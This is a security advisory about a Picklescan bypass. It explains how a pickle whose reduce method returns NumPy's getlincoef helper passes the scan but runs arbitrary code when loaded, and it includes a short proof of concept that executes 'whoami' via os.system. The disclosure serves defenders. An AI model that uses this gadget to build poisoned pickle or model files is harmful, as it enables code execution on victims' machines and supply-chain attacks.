PT-2025-55498

Published

2025-12-30

·

Updated

2025-12-30

Description by

CVSS 4.0
8.2
High
MetricsAV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Summary

Picklescan uses the numpy.f2py.crackfortran.getlincoef function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling.

Details

Picklescan fails to detect a malicious pickle that uses the gadget numpy.f2py.crackfortran.getlincoef in reduce, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution.

PoC

python
class PoC:
  def  reduce (self):
    from numpy.f2py.crackfortran import getlincoef
    return getlincoef, (" import ('os').system('whoami')", None)

Impact

  • Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file.
  • Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts.
  • Enables supply‑chain poisoning of shared model files.

Credits

Exploitability
Fix
Impacts
Vendors
Affected products
Weakness enumeration
CWE-94: Improper Control of Generation of Code (\'Code Injection\')
CWE-502: Deserialization of Untrusted Data
Related identifiers
GHSA-RRXM-2PVV-M66X
Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com